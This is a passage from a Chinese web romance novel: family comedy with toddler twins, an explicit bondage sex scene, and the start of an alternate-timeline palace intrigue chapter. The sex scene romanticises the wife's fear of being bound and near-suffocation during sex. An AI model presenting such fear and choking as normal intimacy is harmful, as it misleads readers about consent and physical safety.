封行渊微微一怔。小糯米团子窝在他怀里,软哼几声就像是捏住了他的心脏。哥哥撒娇一视同仁,抱住封行渊,一样可以贴一会儿。 封行渊心口仿佛能被瞬间融化。只是这小子也不知道随谁。对谁都能撒娇。 封行渊慢条斯理地想着,下意识地看向鹿微眠。鹿微眠无所察觉。她看着怀里的小星晚正抓着她白皙如玉的手指咬。好在小星晚还没有牙,只是“啵啵”几口,将那葱白手指最出几个小红印,很快又消失。 鹿微眠靠在床头,踩了踩床尾坐着的封行渊,“你看她咬人。” 封行渊冷不丁被她踩,腰腹升起些许躁意。他靠在旁边,没有看鹿星晚,而是在看鹿微眠。 怎么办。他也想咬。 鹿微眠没听到他的回应,抬起头正对上他暗色黑瞳。封行渊敛眸,怕被她看出来自己那明晃晃的企图。他一低头看到小倾时那红润如苹果的脸,不自觉地伸手捏了一下。 小倾时眼巴巴地看着他,由着他捏。 封行渊轻扯唇角,是像她。 封行渊想着,叫孙嬷嬷进来把小世子带下去。 鹿微眠不知道他怎么突然要让孩子下去,"眼下还没到亥时。" 封行渊不言语,走到床榻边,正准备将鹿星晚拎走,“是时候该休息了。”却见鹿星晚忽然间抓紧了鹿微眠的袖子。 哥哥一视同仁,但妹妹不太一样,她只要鹿微眠。并且拎走会哭。 封行渊打量这只小青柚。大抵是同类相近,封行渊总觉得,这清水芙蓉里面藏着一朵霸王花。可偏偏她眨着眼睛,就是楚楚可怜,单纯无辜的样子。 “她也不能缠你太久。”封行渊叫孙嬷嬷把人带下去。小星晚虽然不知道他在说什么,但是大概这阵子已经形成了习惯。一见他这幅样子,就扁起嘴。 * “好了好了,星晚不哭。”鹿微眠太知道这是什么征兆了,先一步哄起人,“我不走。”鹿微眠说着,将小星晚抱了起来,“你在这里等等,我把星晚哄睡了就回来。” 封行渊看着鹿微眠将小星晚抱去偏房。 小星晚趴在她肩头,刚刚那副要哭的样子全然消失,这会儿眨着黑葡萄一般的大眼睛瞥了封行渊几眼。 封行渊眼皮跳了两下。 这个小丫头。 封行渊长叹一口气,看着时辰的确还早,出了一趟门。族中长老这阵子筹办世子和郡主的满月礼正巧也在。 半夜房门被敲响,长老起身去开门,看见是封行渊,"王上来老夫这里,是想看满月礼之事?"“不是。”封行渊闲庭信步地走进房间,“我来拿药。” 长老微顿,“您真不打算有其他子嗣了吗?”“唠叨。”封行渊已经听他问这个问题问了很多遍了,“两个够多了。” 原本一个就已经是他预想中的极限。 现在有两个崽跟他抢夫人。 封行渊这辈子没有比鹿微眠有孕这一年,过得更加焦灼过。他不想再经历一遍,也不想让她再经历一遍。 长老知道自己一向是说不过他,转身去橱柜拿药瓶。 封行渊回房之时,鹿微眠还没回来。他盘算着先去沐浴等她。 又过了半个时辰,封行渊出来也不见人影,屋外圆月高悬,他索性去偏房找人。偏房屋内寂静无声。 封行渊踏进房门,径直看见鹿微眠与两小只窝在一起睡着了。 他无声轻笑,就该想到以鹿微眠的睡觉功力。把他们俩哄睡了,自己也该睡着了。 封行渊轻叹一口气,关上了偏房的门,灭了灯盏,与他们躺在一处。顺手把夹在他们两个中间的哥哥拎到外侧妹妹的旁边,足以让封行渊自己靠着鹿微眠。他这才得偿所愿地环住她,将人转了过来,摸了摸她的脸颊。 这里都是他的宝宝。但还是最爱这一个。 两个孩子稍微长开一些,差异就变得明显许多。哥哥安静,妹妹稍显活泼。共同点是非常听鹿微眠的话。 但封行渊的话就不一定。主要是妹妹不听。 妹妹在某种程度上,对待除了鹿微眠之外的人,也是一视同仁。 女孩缠她一点,封行渊也可以接受。 虽然鹿星晚不是特别听话,但他们在鹿微眠的事情上,会时常达成一致。 每当鹿微眠出去找其他人玩。 原本只有封行渊一个人嫉妒,变成了他跟鹿星晚一起暗中嫉妒。 鹿星晚会说话就开始嘀嘀咕咕,“外面很好玩嘛,能有我好玩嘛。” 封行渊也是这么想的,但他不好表现出来,只是偶尔附和一句,“谁知道呢。” 封倾时不知道他们两个在阴暗什么,探头探脑地找封行渊,“爹爹,饿饿,饭饭。” 鹿星晚肚子也咕噜咕噜叫了起来,跟着哥哥一起喊,“爹爹,饿饿…” 封行渊起身,“等着,为父给你们做午膳。” 两小只跟着封行渊跑到厨房。 趴在厨房门口看封行渊认认真真摆弄着厨具,期间拒绝了孙嬷嬷的帮助,说什么为人父要能自己做好饭。 过了一会儿,厨房飘出些许黑烟。 鹿星晚迟疑良久,踟蹰着离开,"……我好像也不是很饿了。" 封倾时“啊”了一声,回头看看妹妹,又看看爹爹,"那我……还饿吗……" 88、第88章养崽崽... 封倾时在小厨房门口转了两圈。 担心走了伤害爹爹热情。不走又伤害自己。 正巧,屋内封行渊做好了一道菜,转头看见封倾时在门口焦急地踱步。 一看就是饿坏了。封行渊走上前,立马将他抱起,"来,先尝尝这个垫垫。"封倾时一时间没能跑掉,被封行渊抱去喂饭。他看着碗里的面花,隐约觉得,好像也不是不能吃的样子。封行渊与他介绍着,“这是你母亲爱吃的鸭花汤饼。”"瞧着挺复杂,没想到这般简单,等她回来我也给她做。"封倾时眨巴着眼睛,看封行渊拿着勺子将面花晾凉送到他嘴边。封倾时承认,那一瞬间,他有赌的成分。但咬下去之后,还是高估了自己。封倾时一张粉嫩的小脸皱成了一团。封行渊观察着他的反应,唇角笑意敛起,“很难吃吗?”封倾时善良地摇头,含糊不清地解释,“是,太烫了。”封行渊了然,转头又舀了一勺,这次多晾了一会儿,放到自己唇边。那微妙的气息隐隐在他鼻尖萦绕。封行渊停顿了一下,自己试着尝了一口。封行渊:"……"父子俩人大眼瞪小眼地对视片刻。封行渊勉强控制着自己没在孩子面前吐出来。封倾时眼睁睁地看着封行渊咽下去,小眉毛也跟着打了结,仿佛自己又吃了一口。封行渊迟疑着,“你……喜欢这个味道?”封倾时艰难地眨了眨眼睛,话语间带了点挣扎,“是,有点难吃。”“但如果是爹爹给我做的,我就喜欢。”封行渊看着那双像极了鹿微眠的眼睛,心口发酥。他沉默良久,轻笑出声,“那我再试试。”他将封倾时放下,还是暂且接受了孙嬷嬷的帮助。孙嬷嬷笑道,“这鸭花汤饼是有些麻烦了,得慢慢来。”“您可以先从简单的粥开始。”平日里用得着他们亲自下厨的机会也不多,但鹿微眠发现封行渊的厨艺精进不少,倒是稀奇。她完全不知道封行渊一面给封倾时喂饭,一面与他商量着,“吃了为父的饭,帮为父一个忙。”"今晚,你给妹妹讲故事,把她拖住,不让她缠你母亲好不好?"封倾时非常有信心,"没问题。"封行渊很满意,交给他一个小话本。到了晚上,封倾时和鹿星晚钻在被子里。封倾时有鼻子有眼地说着,"我今晚有个绝妙的故事给你讲。"鹿星晚趴在被子里撑着下巴看哥哥,眼睛黑亮亮的,“什么故事?”封倾时拿出来封行渊给他的小话本,正要开口讲故事——发现他还不认字。封倾时尴尬地翻着话本,怎么没有画呢?“这个故事就是……”鹿星晚偷偷瞄了两眼他手里的话本,“你认识吗?”封倾时不得不翻身下床,“等我去找爹爹问问。”鹿星晚很激动,“那就干脆拿去让娘亲给我们讲吧。”她说着,开开心心地踩上自己的小鞋,啪嗒啪嗒地往外跑。封倾时连忙喊她,“诶!别去,你等等我!”鹿星晚在屋外敲门,边敲边快乐地喊着,“娘亲,你的心肝宝贝暖手炉来啦。”然而开门的是封行渊。鹿星晚脸上的笑容卡顿了一下,“爹爹,我来了。”封行渊听到耳朵里是,“你爹我来了”。封倾时在后面呼哧呼哧地追着,不等给封行渊解释。鹿星晚就小跑进了屋子,找鹿微眠讲故事。鹿微眠拿过那本小话书,简单翻了一下,不过是给小孩看的小故事。她正翻着,封行渊走到了她面前,将小话书拿走,“你娘亲自己还要听人讲故事睡觉,我给你们讲。”说完,封行渊连话本带鹿星晚一起拎走。鹿星晚已经习惯了,气哼哼地又被拎走。房门关上,鹿微眠选了个舒服的姿势靠在美人榻边,好整以暇地等着。凭借她的经验,今晚应当不会这么快结束。封行渊将两个崽带回房间,给他们讲着话本上的故事。是一只恶狼与小白兔的故事。讲着讲着,封倾时眼皮渐渐开始打架,脑袋一点趴在了枕头上睡着了。大抵是这样的氛围格外催人入睡,两只崽都安安静静地,鹿星晚也难得不吵不闹,只不过就是睁着眼睛看着他,等他继续讲。封行渊讲了几页都不见她有睡意,只能继续。连续平直的语调讲述着话本上的小故事,极其容易带出困意。封行渊自己都讲困了,撑着额角轻闭了闭眼睛。床榻上响起些寒寒窣窣的声响。封行渊只当是哪一只崽崽翻身带出来的声响,没有当回事。直到他忽然间从睡梦中惊醒,睁开眼睛。赫然发现自己身上不知道什么时候被缠了十几圈绳子。将他牢牢地捆在了床榻边。封行渊凝眉,正要活动,发现自己手腕上也被绑了几圈,甚至还打了一个漂亮的蝴蝶结。而自己身边,原本两个崽的位置,现在只剩下一个。鹿星晚的位置空无一人。封行渊气笑了。他这辈子还没有被人捆过。而此时隔壁房间。鹿微眠正靠在美人榻上,打理着墨宝的毛发。房门被“呼啦”一下推开,“娘亲~是我呀。”鹿微眠眉梢微扬,看着鹿星晚小心翼翼地关上门,蹦蹦跳跳地进来,“惊不惊喜,开不开心?”她爬到鹿微眠身边,"我来陪你睡觉啦。"鹿微眠饶有兴致地看她,“你爹爹呢?”鹿星晚煞有介事道,“爹爹说今晚要陪哥哥睡觉,我就来了,不能让娘亲孤单。”她说着,一头钻进了鹿微眠的怀里。软软一小只。鹿微眠摸了摸她的脸,“当真?”从这个角度,鹿微眠能看见鹿星晚眼睛里也有一颗红痣。那颗红艳血痣,在这张清丽菡萏花一般的脸颊上,偶尔会带出几分妖娆邪气。但到底年岁小,她还是秀气可爱、粉雕玉琢占优,无人在意其他。“千真万……”鹿星晚话还没说完。房门便被人从外面推开,封行渊慢条斯理地进门,牢牢地盯着钻在鹿微眠怀里的小人儿,调侃着,“我就说这个小丫头,只是表面看起来很是纯良无辜。”鹿星晚听见他的声音愣了愣,一下子爬了起来,看着封行渊就这样挣脱了她的束缚回来了,表情似乎还有些懊恼。早知道多捆几圈了。鹿微眠听来有趣,如何也没想过这种话会从封行渊的嘴里说出来。“你怎么还说别人啊。”鹿星晚靠着鹿微眠有样学样,“是啊,爹爹怎么还说别人呢。”封行渊眉梢微扬,背着的手垂下来。只见他手里握着被他弄开的绳索,径直朝鹿星晚走过去。鹿星晚敏锐地嗅到了危险气息,立马爬到鹿微眠身后,“娘亲,他要打小孩。看吧,大尾巴狼要藏不住了。”鹿微眠只笑。大概这种场景不是第一次了。封行渊走上前,高大的身形笼罩在鹿微眠的身上。俯身之时,气息就落在鹿微眠颈间,顺手准备将躲在她身后的鹿星晚抓出来。 鹿星晚眼疾手快跳下美人榻,但到底年岁小,逃跑也跑不到哪里去。无非就是围着屋子一个劲地转。最后还是被封行渊抓住。 她破罐子破摔,索性靠在封行渊身上,“那你打洗我呀。”封行渊眼皮狠狠地跳了一会儿,“你……” 鹿星晚继续,“这样娘亲就没有心肝宝贝暖手炉了,娘亲肯定会伤心的。”封行渊抬手,落下去不轻不重地拍了下鹿星晚展露出来的小身板,“你把我气死,你娘亲也会伤心。” 封行渊这般高高拿起,又不得不轻轻放下的样子实属罕见。 仿佛一只被狼崽气到的恶狼,露出尖利的爪牙,却只敢啃两下皮毛。疯性被完全压制得无法抒发。 “好啦。”鹿微眠把鹿星晚抱过来,"时辰不早了,跟嬷嬷回去睡觉好不好?" 鹿星晚努了努嘴,看起来不太情愿。但既然鹿微眠都开口了,她也乖乖回去,“好吧。” 封行渊看着鹿星晚,挑了下眉,叫孙嬷嬷把她带走。鹿星晚不服气地扬起头,雄赳赳气昂昂地出了房门。小脑袋上丝绦一晃一晃。 房门关上,封行渊便顺手将绳索摆在美人榻旁,“瞧瞧你的心肝宝贝有多厉害。” 鹿微眠意味深长道,“这么爱捆人,还得是你教得好。” “我可没教她。”鹿微眠慢悠悠道,“不妨碍她随你。” 封行渊眉眼间多了几分深意,深吸了一口气,缓慢俯身。鹿微眠也察觉到了危险气息,正要起身躲开,已经晚了,“你要干嘛?” 封行渊双手撑在鹿微眠身侧,将人困在美人榻间,"那今晚,给我捆吗?" 鹿微眠听到“捆”这个字眼,就头皮发麻。他每次一旦把她绑起来,就会格外的凶,偏偏她还反抗不了。 这样的感觉会让她很是恐慌,可他看着她越害怕,就会劣根性爆发,越是凶恶。周而复始,恶性循环。 “不要。”鹿微眠推开他,“我好困了。”她试图将话题转移到温和之处,“你方才给他们讲的什么故事,也给我讲。” 封行渊敛眸,似乎是妥协,“好吧。”鹿微眠稍稍松了一口气,挑了个位置躺好。封行渊翻开那个小话本,“从前森林里有一只小狼……”男人声音浑厚低磁,响彻在不大不小的鸾帐内,鹿微眠倚靠在他手臂边,闭着眼睛听他说话。 “有一天,小狼外出捕猎受了伤,碰到了一只善良的小白兔。”"小白兔很是可怜他,就把他带回了自己的山洞,帮助他养伤。" 鹿微眠呼吸渐渐变得均匀平顺。 “可惜,小白兔并不知道,狼早就想好,等他养好伤,就将她吃掉。”“她还体贴地关心他的伤势。”“终有一日,小狼的伤养好了……” 鹿微眠有了动静,睁开眼睛仰起头看他,“后来呢?” 封行渊手里早就没有什么话本,毫无征兆地按住了她的肩膀。紧接着不知道哪里来的绳索绑住了鹿微眠的手腕。 男人覆身而上,衣物摩挲间发出暧昧的声响,在封闭的屋子里听来耳热。低磁沙哑的声音宣判着小白兔落入魔爪,“后来,就这样把她吃掉了啊。” 89、第89章养崽崽·完... 鹿微眠才不相信这是故事里的情节,将手从绳索中抽出来,“话本是这样写的吗?” “嗯。”封行渊轻而易举地将她的手抓了回来,按在唇边轻吻。 "我不信,你拿给我看看?"封行渊没有回答她的话。 鹿微眠反倒是被他亲得手指发软,等她反应过来,双手早就被神不知鬼不觉地绑住。鹿微眠微顿,夹杂私心地默许了他这般行径。 纱帐被他换成了紫色,外面透着朦胧光影打落进鸾帐内就变得波光粼粼。紫红色光晕映照在周身,随着纱帘掀动,荡起层层涟漪。 这般氛围很容易令人遐思万千。仿佛是在诡秘的丛林深处,四下浓雾蔓延,将暗色夜空凝聚渲染成紫红色。无声中渗透着奇妙的危险气息。 鹿微眠被他亲吻的手指轻轻刮过他的唇边脸颊。蹭得他脸颊发痒,封行渊每每想要缓解这样的痒意,却又被她灵巧的手指躲开。 鹿微眠当真觉得自己像是在逗弄一只小狼。 但狼毕竟是凶兽。封行渊几次得不到满足,眼底光色就变了味道。他没有抓住她作乱的手,而是扯住了绑在她手腕上的绳索,鹿微眠一下子就失去了逗弄他的优势。 封行渊惩罚似地咬了一下她的手指,“帮我摘面具。”鹿微眠想要用手,封行渊不让。 鹿微眠与他对视的片刻,大抵是明白了他的意思,红润薄唇轻抿一下,微微俯身凑上去,咬住他面具一角。 柔软唇瓣蹭着他的脸颊,将面具咬下来才发现,他左眼已经沾染上了猩红血丝。那是看猎物的眼神,也是饿了的眼神。 封行渊将她咬着的面具取下来,俯身吻上她的唇。缓慢地啃咬,而后下移。 鹿微眠寝裙被他用牙咬住领口,再扯开。灼热的气息一下一下吹拂着寝裙衣襟。 大抵是那茉莉甜香格外诱人,他咬着咬着就愈发深入。鹿微眠有一种自己被野兽啃噬彻底的感觉,他将自己每一寸都啃咬过,在最为细嫩可口的肌肤上流连忘返,咬得更重。 不知道哪一口被咬痛了。鹿微眠瑟缩着喊了一声“疼”。听来娇气。封行渊微微松口,其实他还想咬得更重。想把她浑身上下就咀嚼一遍,才肯罢休。 封行渊看着她,将她被绑住的手挂在头顶床架上。鹿微眠屏气,她每每这个时候都很紧张。 封行渊的花样有点太多了。即便是时至今日,她还没能接受太多。 封行渊拿出来一个新鲜的小铃铛。鹿微眠竟然诡异地松了一口气,还好这个小东西她试过。 “阿眠今日陪我玩个特别的。”封行渊将铃铛放在了它应该去的地方,一根丝线牵动在外面,方便拉扯。然后抬眼看她。 鹿微眠一下子就无法出声,气息变得微微凌乱,仿佛脑袋都是小铃铛响动的频率,骨头发麻,“这个……不是试过了吗?”还能有什么特别…… 鹿微眠还没想完,封行渊便按着她,送了进去。鹿微眠蓦的瞪大了眼睛。 抵着那颗小铃铛,一点点碾开她。前所未有的异样感瞬间将她脑海充斥着填满。还没有开始,鹿微眠惊慌出声,“不行……” 这种感觉对于他来说也很是新鲜,封行渊缓了片刻,轻笑出声,“阿眠可以的。” 刚开始,鹿微眠就哭出了声。 原本这两个任何一个都能让她失控。两个一起…… 封行渊按着她的小腹,能感觉到铃铛响动的触感,以及他自己的触感。 看她眼泪汪汪的可怜样子,深吸了一口气,绷紧身体,抹掉她眼角的泪花,“好可怜。”但他只想更坏一点。 他俯身,仿佛地狱爬出的恶鬼将她缠绕拖拽进泥沼,“怎么办,想和阿眠一起堕落到死。” * 次日,鹿微眠午时都没能起来。她昏昏沉沉地睡着,暮云他们早早习惯了也就没有叫她。 她连睡梦中都是那般触感。浑身上下像是被拆散又拼合在一起。 期间几次窒息快要昏迷又被封行渊熟稔地弄清醒。他是始终要她清醒的。 可鹿微眠承受不住,总是要骂他禽兽。这反倒让他变本加厉,想让她看看什么是真正的禽兽。鹿微眠是无法用正常人的思维,去理解这个疯子的想法。 两个崽睡醒了起来玩了半日,始终不见鹿微眠出来,便趴在门口看屋子里的情况。封倾时扛着妹妹,费劲巴力地把妹妹举起来,问她,“娘亲怎么样了?” 鹿星晚一只眼睛对着门缝,“看不见呀。”"也没有声音。" 他们正叠着查看鹿微眠的情况,身后响起一阵脚步声。 鹿星晚先转头看见了封行渊,整个人一激灵。封倾时本来就底盘不稳,“别别别,别晃,我我站不住……” 就在两个崽都要摔下来时,封行渊眼疾手快一只手接住妹妹,一只手扶住哥哥。鹿星晚被封行渊放在一旁,“别看了,你们娘亲还睡着。” 封倾时爬起来,拍了拍身上的灰尘,“娘亲今日怎么睡这么久,是不是生病了。”封行渊简单解释,“她睡觉是在补身体,不要打扰她。”两个崽似懂非懂,但也乖乖噤声,怕吵到鹿微眠。 封行渊蹲下来,挨个帮他们整理好被弄乱的衣物,认认真真地教育着,“你们如今也三岁了,是大孩子了。”“俗话说得好,儿大避母,女大避母。”“不能总缠着你们娘亲知道吗?” 封倾时和鹿星晚经常听封行渊的“大道理”,但每次听还是要费劲地理解一番。鹿星晚忍不住问,“为什么啊?” 封行渊一本正经的胡说八道,“这是古人流传下来的经验和规矩。”"小孩到了年纪,就不方便和母亲一起睡了。" 鹿星晚小声嘀咕,“本来也没睡过几次。”每晚都要跟爹爹争抢一番,然后被嬷嬷抱走睡觉。 但是封行渊要是有事出去。娘亲自己睡害怕,就会把他们都抱过去。 鹿星晚想,娘亲睡觉也要人哄呢。可惜给他们表现的次数不多。娘亲好像更喜欢爹爹哄。 封行渊完成了对他们的每日教育,起身心情颇好,“今日时辰尚早,我带你们进宫玩。” 毕竟外面的小孩子多,他们这个年岁正好适合多交朋友。一听入宫,他们倒是显得有些兴奋,“好呀。” 两人叽叽喳喳地问着,“皇帝哥哥今日会陪我们玩嘛。”封行渊沉吟着,“那要看他是否赋闲。” 慕倚风如今开始启蒙读书。还真不一定有空。 封行渊盘算着,“不过今日许多大臣家眷入宫,你们应当能认识其他玩伴。” 他们跟其他小孩玩的时候,封行渊自己也能歇一会儿。毕竟两个崽带起来,还是有些疲惫。 入宫的轿撵早早地停在了门口。封行渊将他们抱上去,命车夫启程入宫。宫中今日热闹。因为今日是花朝节。是鹿微眠的生辰。 封行渊想,也是他的生辰。 他给鹿微眠打了永不凋零的茉莉花,是宫中精匠所造,今日得去宫中看看。晚上等鹿微眠休息好,再送给她。 这期间顺便遛崽。 一举两得。 封行渊想得很好。 轿撵入宫门,先去了乾正殿。刚巧今日慕倚风得空,规矩体贴地与封行渊行礼交代,“我带着弟弟妹妹去御花园散步,父亲与义父好生休息。” 慕倚风是按照皇家仪制教出来的小孩。言谈举止都带着与寻常孩童不一样的成熟稳重。 就是年纪还小了点。 封行渊不由得道,“这般听话,你很是省心吧。”慕景怀显然对慕倚风很满意,“他倒是乖巧懂事,但不如你有个姑娘。”封行渊忽而笑出声,“我家这个姑娘啊……” 慕景怀听着封行渊的语气很好奇,“我瞧着挺可爱的,活泼机灵,反应又快,我跟春莺都很喜欢。” “是可爱…”封行渊也没有否认。 还没等说出来下一句话,屋外封倾时急匆匆地跑回来,“爹爹,妹妹她……” 封行渊脸色微变,径直起身,“怎么了?” 慕景怀也紧张起来,“该不是受欺负了,今日小孩多,那群孩子也没轻没重的。” 封倾时话也说不利索,“爹爹还是快去看看吧。” 封行渊沉着脸,大步流星地往御花园的方向走。而此时御花园深处围了一群人,将里面的光景遮挡得严严实实。 随行太监高喊着国父驾到,众人才急急忙忙让开。 只见鹿星晚委委屈屈地跑出来,抱住封行渊大腿,“爹爹。”封行渊气势颇足,面色阴郁,浑身上下都带着肃杀之气。仿佛随时能将谁的头拧下来,“怎么了?” 鹿星晚伸手,"手疼。"封行渊看见她红彤彤的小拳头,“谁干的?” 封行渊正要抬头找人,径直看见不远处地上坐着一个鼻青脸肿的异族男孩。看起来大概是邻国开春前来朝拜的小王子。男孩对上封行渊的视线,还回头看了看是不是在找别人,确认半天才指着自己,“我吗?” 封倾时在一旁老实巴交地解释,“妹妹是打人,打得手疼。”封行渊:“….…” 这件事情说来也简单。无非是那个小王子得知他们的身份,看一国之主慕倚风年纪才这般小,有点看不起的意思。故意挤兑挑衅了慕倚风几句。 把鹿星晚惹毛了,一拳打了过去。慕倚风连忙解释,“怪朕。”那异族男孩请罪,“怪我,是我见识短浅,还请郡主恕罪。” 封行渊真觉得他实在是杞人忧天。怎么会觉得这个小家伙能被人欺负。 邻国王室闻讯赶来,跟着道歉谢罪,转头将人领走教育。 鹿星晚也与慕倚风说着,“你脾气不能这般好,往后谁都想欺负你,你是皇帝呀。”慕倚风其实现在也不太知道该怎么做皇帝,“皇帝要怎么做?” 鹿星晚认真思考着,"要凶一点。"这对慕倚风来说难度有点大,“我不会。”慕倚风看向封倾时,封倾时眨了眨眼睛,“我也不会。” “啊,那我教你们。” * 鹿微眠傍晚收拾好准备入宫。她正准备上马车,马车内伸出一只手臂。 鹿微眠停顿一下,多看了两眼那筋骨修长的手,自然而然地搭了上去,“你怎么还回来了?” 封行渊将她拉上来,“等不及你去,总是要回来接的。” 鹿微眠坐好,“他们呢?” 封行渊知道她是在说两个孩子,“在宫里玩得正开心,我在反倒打扰他们。” 正好他们在也打扰他俩。 马车启程,鹿微眠却看见马车调转了方向,“这不是去宫里的方向。” “我带你去个清净的地方。”封行渊原本也没想在宫里他们过生辰,他只想和她单独呆在一起。 马车停在了京中一处僻静的林苑。也是皇家宫苑,只不过这两年才兴修好,起先是避暑才来。景色绝佳。 院子里挂满了花灯,尽头是临江水榭。里面准备了晚膳和花果。 鹿微眠走进去,看到了水榭后面花苑里,满院子的蝴蝶兰和萤火虫。“你准备的?” 封行渊坐下,“自然,这是我们第五年的生辰。”还会有第十年,第十五年,五十年……封行渊将那一盒永生茉莉推了过去。 鹿微眠打开,有些欣喜,“是茉莉花。” 凌一凌双将房门关上,隔绝掉屋内的声音,两兄弟一人一坛酒。凌一啧啧两声,"主子是知道娘娘喜欢茉莉,专程送的吧。" 凌双笑而不语。 世人常道—— 送君茉莉,愿君莫离。 永生茉莉,永生莫离。 90、第90章if前世he ... 天元二十一年,帝王崩逝于临安,新帝继位,册封叶氏为后。继位大典当日,乌云密布,长安城内波谲云诡。 皇宫大内,宫人来来往往布置大典。红幡挂上又被狂风吹下,众人皆是手忙脚乱。 长春宫内,屋内的宫女帮衬着叶心娴梳妆,小太监算着时辰,赶忙出门将院子里吹散的落叶扫开。小太监看着屋外的天色,“今日这天不大好啊。” 叶心娴身边的大宫女踹了他一脚,“说什么呢?!”她扬声,“今日大好的日子,说这些不阴不阳的话。” “天不好无妨,”叶心娴从屋内走出来,心情很是舒畅,“事好不就成了。”她瞥了一眼旁边的小太监,“下人不会说话,掌嘴不就是了。” 宫女行礼,“娘娘说的是。” 她起身便恢复了颐指气使的样子,"来人,拖下去,掌嘴五十!" 叶心娴毫不在意区区一个下人说什么,怡然自得地出门,去往乾正殿。 姜崇早早就等在了后殿,见叶心娴来,恭恭敬敬地行礼,“奴才参见皇后娘娘。” 叶心娴听着这个称呼,唇角上扬,“还没过礼呢。”姜崇上前扶她,“那也八九不离十了。” 叶心娴从未如此畅快过,“慕青辞醒了吗?”自打慕青辞去围剿封轸那一战过后,如今已经昏迷了月余。 姜崇悠然道,“他醒不醒都无妨。”"奴才且与礼官说了,陛下刚刚恢复,体虚身弱,不宜面众,隔珠帘会见百官。" 姜崇给慕青辞喂了巫蛊,能简单维持站起坐立的动作。眼下珠帘后面,即便是一具尸身都无妨,他身为慕青辞身边多年的贴身大太监,替帝王传话无人疑心。 何况,姜崇可不希望慕青辞醒过来。这样半死不活,醒不过来是最好的,慕青辞做一个傀儡皇帝,这天下就都是他的了。 叶心娴见姜崇游刃有余地布置着继位大典,心下放心。“对了,我那个好姐姐呢?” 姜崇眉眼微动,想起来,“娘娘是说,封夫人?” 叶心娴看向他,眼底深意不言而喻。 姜崇笑道,“还活着,就是看不见了。” “我们姐妹一场,倒也不至于赶尽杀绝,”叶心娴无比痛快,鹿微眠一直唾手可得的东西,现在都是她的,而鹿微眠就像是她手里的一只蝼蚁一般,一碾就死。叶心娴颇为仁善地说着,"且留她一命吧,往后日子还长着。" “对了。”叶心娴弯唇,“今日继位大典,要一并处置逆臣,她现在还不知道她家人即将被满门抄斩了吧。”姜崇明白了叶心娴的意思,“她还不知。” "那就告诉她吧,总要让她知道的。"姜崇应声,“是。” 大雨倾盆而下,雨幕将皇城笼罩住。鹿微眠还没有接受自己已经失明的事实,呆坐在屋子里,总是想着或许不知道什么时候,她就又能看见了呢。 听说慕青辞这两日要继位了。父亲母亲也不知道怎么样了,她与慕青辞多年情分,他最是知道父亲绝不可能受贿私吞款项。他应当会查清楚的吧…… 忽然间屋外一道闪电划过,闷雷声紧随其后,乍然响起。鹿微眠心口一跳,不太好的预感油然而生。 她茫然地看向屋外,但回应她的仍然是漆黑一片。鹿微眠叫人,也没有人答应。 她小心翼翼地扶着桌子起身,想要找个人问话,问她的父母家人怎么样了。 没等她找到人,门口响起一道沉稳的脚步声。鹿微眠稍稍松了一口气,"是来人了吗?" 姜崇打量着眼前的眼盲美人,“封夫人,好久不见。” 鹿微眠听得出来,这是慕青辞身边姜崇的声音,“姜公公,殿下如今可查清楚了我父亲的案情?”姜崇并没有第一时间回答鹿微眠的话,反倒是在鹿微眠心下不安之时,慢悠悠地开口,“令尊犯下大错,陛下下令满门抄斩。”“三日后,司空府满门行刑。” 鹿微眠倏然愣住,半天都没能接受姜崇所说的一切,“什么?” “慕青辞如何了解我父亲,我父亲怎么会……”她慌忙上前几步,想要追问,却不小心绊到门槛,跌倒在地。 姜崇垂眸看着她,再度出声,“对了,日前,封大人前去调兵半路被流匪祸乱劫持,不幸身亡。”姜崇笑道,"不过有个好消息。" 鹿微眠整个人仿佛坠入冰窖,长久没有反应过来。 姜崇继续,“陛下恩典,迎娶你表妹叶氏为皇后,叶氏看在你们曾经的姐妹情分上,请旨留了你一命。” 接二连三的刺激,让刚刚病愈的鹿微眠口中升起一股腥甜气息,血腥味浓重。她浑身上下恶寒侵体! 她清楚地记得,就是她舅舅检举她父亲贪污受贿!如今慕青辞迎娶了叶心娴,嘉奖了舅舅,却将他们一家满门抄斩,这是何居心,昭然若揭!何况,封行渊是从战场上呆过五年的人,怎么可能会因为被流匪劫持而身亡。 他们一家根本就是皇权富贵面前,牺牲的棋子! “皇后娘娘要您节哀,”姜崇慢条斯理地说着,“毕竟这往后的日子,还长着。” “你们……”鹿微眠胸口剧烈的起伏着,“你们不怕遭报应吗?!” “奴才按规办事,怕什么报应。” 鹿微眠蓦的吐出一口鲜血,"我要见慕青辞。" 姜崇并没有理会鹿微眠的话,转头就走。鹿微眠起身,循着声音追过去,却被周身下人拦住,“他们为何不敢见我。” 姜崇有意刺激她,"帝后新婚,没空见夫人你。" 鹿微眠眼睫轻颤,被人拦回了屋子。 房门关上后,姜崇的声音从外面传来,“放心吧,等令尊令堂行刑后,会有人来告诉你的。”鹿微眠手指紧握成拳,指甲刺入掌心,划出血痕。 一场雨下了三日,行刑日雨势更甚。叶心娴一身雍容华贵的皇后服制,挑选着今日的钗环。看得出来这个皇后位置坐得非常舒心。 叶心娴询问着,“行刑了吗?” “回禀娘娘,还没,午时行刑。”宫女想起什么来,小声道,“娘娘,封夫人今日说要见您。” “她不是闹着要见我们很多日了。”叶心娴并不当回事,挑了一个漂亮的蝴蝶发簪呆在了头上,她记得鹿微眠很喜欢这样的蝴蝶发簪,她曾经也想要过,但总被人嘲笑她的不如鹿微眠的好看。 叶心娴鄙夷地轻笑一声,“今日是个好日子,那本宫就去看看她。”看她如今过得有多落魄。 说实话,寻常日子去,怕是还没有今日更能让她觉得痛快。更能让她将鹿微眠踩在脚下。 叶心娴起身,一旁宫人让开,带着叶心娴前往鹿微眠的居所。 有人先一步前去给鹿微眠报信,让她面见皇后之时注意仪态。 鹿微眠得了消息,面上很是平静。 她一身素衣,仿佛一朵不染纤尘的梨花,开在寂静无人的荒芜死地。 鹿微眠简单收拾着自己,而后将一把匕首藏在了袖子里! 她要杀了他们,再去陪父亲母亲。 叶心娴穿过宫中回廊,脑海中翻过无数遍如何奚落鹿微眠的话。她走到门口,远远地看见鹿微眠孤坐在屋子里,白裙曳地,很是凄清。 叶心娴唇角勾起,缓步上前, "表姐。"头顶阴云密布的天空响起一阵轰隆声响,叶心娴还未踏进屋子,鹿微眠已经转动了手里的刀鞘。 忽然间,外面一个宫人跌跌撞撞地跑了进来,“娘娘,娘娘不好了!”叶心娴这个时候被打扰,有些烦躁,“怎么了,冒冒失失的。” 她回过头才发现,宫人的身上沾血!叶心娴双眸蓦的瞪大,连连后退。 宫人跪在地上,气喘不匀,断断续续地说着,“刑场……被人劫了!” "有,有叛军攻城!" “什么?!” 